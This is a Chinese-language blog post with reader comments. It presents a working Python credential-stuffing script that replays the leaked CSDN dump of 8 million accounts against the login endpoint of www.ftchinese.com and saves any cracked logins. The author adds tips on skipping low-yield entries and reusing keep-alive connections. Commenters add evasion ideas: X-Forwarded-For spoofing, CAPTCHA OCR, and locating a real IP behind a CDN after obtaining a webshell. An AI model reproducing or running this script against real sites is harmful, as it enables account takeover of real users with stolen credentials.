在以往的渗透测试过程中,我常使用暴力破解来作为突破口。
破解过包括ADSL、客户端软件账号、web后台、NT Server、SSH、FTP、MySQL、Email等,
主要通过两种方式:
1. 基于协议暴力破解
2. 模拟点击、模拟按键等进行客户端暴力破解
当然,其中还涉及到ADSL重新拨号换IP、验证码识别的细节。
前述到此。
下面是我写的一个非常简短的Python脚本,用于http暴力破解。
它使用CSDN流出的800万账号,尝试登陆www.ftchinese.com。
# -*- coding: utf-8 -*- ''' from https://www.lijiejie.com my[at]lijiejie.com ''' import urllib2 import urllib import httplib import threading headers = {"Content-Type":"application/x-www-form-urlencoded", "Connection":"Keep-Alive", "Referer":"http://www.ftchinese.com/"}; lock = threading.Lock() def tryUser(): global headers global outFile conn = httplib.HTTPConnection("www.ftchinese.com") while True: lock.acquire() line = inFile.readline() userData = line.strip().split(' # ') lock.release() if len(userData) != 3: continue if len(line) == 0: conn.close() break user = userData[2] passwd = userData[1] params = urllib.urlencode({'username': user, 'password': passwd}) conn.request(method="POST", url="/users/login", body=params, headers=headers) responseText = conn.getresponse().read().decode('utf8') if not responseText.find(u'用户名或者密码不正确,请重新输入!') > 0 : print '*** find user:', user, 'with password:', passwd, '***' outFile.write(user + ' ' + passwd + '\n') outFile = open('accounts-cracked.txt', 'w') with open(r'E:\works-hz\csdn.sql', 'r') as inFile: for i in range(5000): #skip 5000 inFile.readline() for i in range(10): threading.Thread(target = tryUser()) outFile.close()
登录时POST http://www.ftchinese.com/users/login, 附加username和password
值得注意的是:
1. 程序首先跳过了前5000行,考虑到前5000个账号破解成功率比较低
2. headers中”Connection”:”Keep-Alive”,让我们可以在一个http连接中,尝试无数个密码,直到破解结束,才关闭当前的TCP连接
脚本也上传到了github上: https://github.com/lijiejie/http-brute-force-attack
因为学python时间不长,代码不堪,请见谅。
写的挺好的,X-Forwarded-For可以在很多地方用来模拟其它IP地址访问。
受教了,这个非常有用。可以一定程度上防屏蔽,哈哈
这不是暴力破解吧。accounts-cracked.txt 有没有?
脚本拿过去得根据目标网站做修改的。 这里是用csdn的数据去暴其他网站
脚本拿过去得根据目标网站做修改的。 这里是用csdn的数据去暴其他网站
这不是暴力破解吧。accounts-cracked.txt 有没有?
写的还是不错的。。
谢谢。。。 以前的代码,没怎么用过。 最近我有在重写一个脚本。 https://github.com/lijiejie/htpwdScan 这个比较通用一些。
学长要是能加个验证码破解就好了!
嗯,这个脚本太老了。 可以加入tesser-act来识别验证码。
请问劼杰,有CDN的站我都拿到shell了,但菜刀那还是结点ip,我如何利用shell获取真实ip呢?谢谢!~
有没有破解客户端的例子,希望楼主发芾我一个,不尽感激!!!
楼主你好,为什么我用你写的python脚本破解basic认证登录界面不成功,提示“No one was cracked”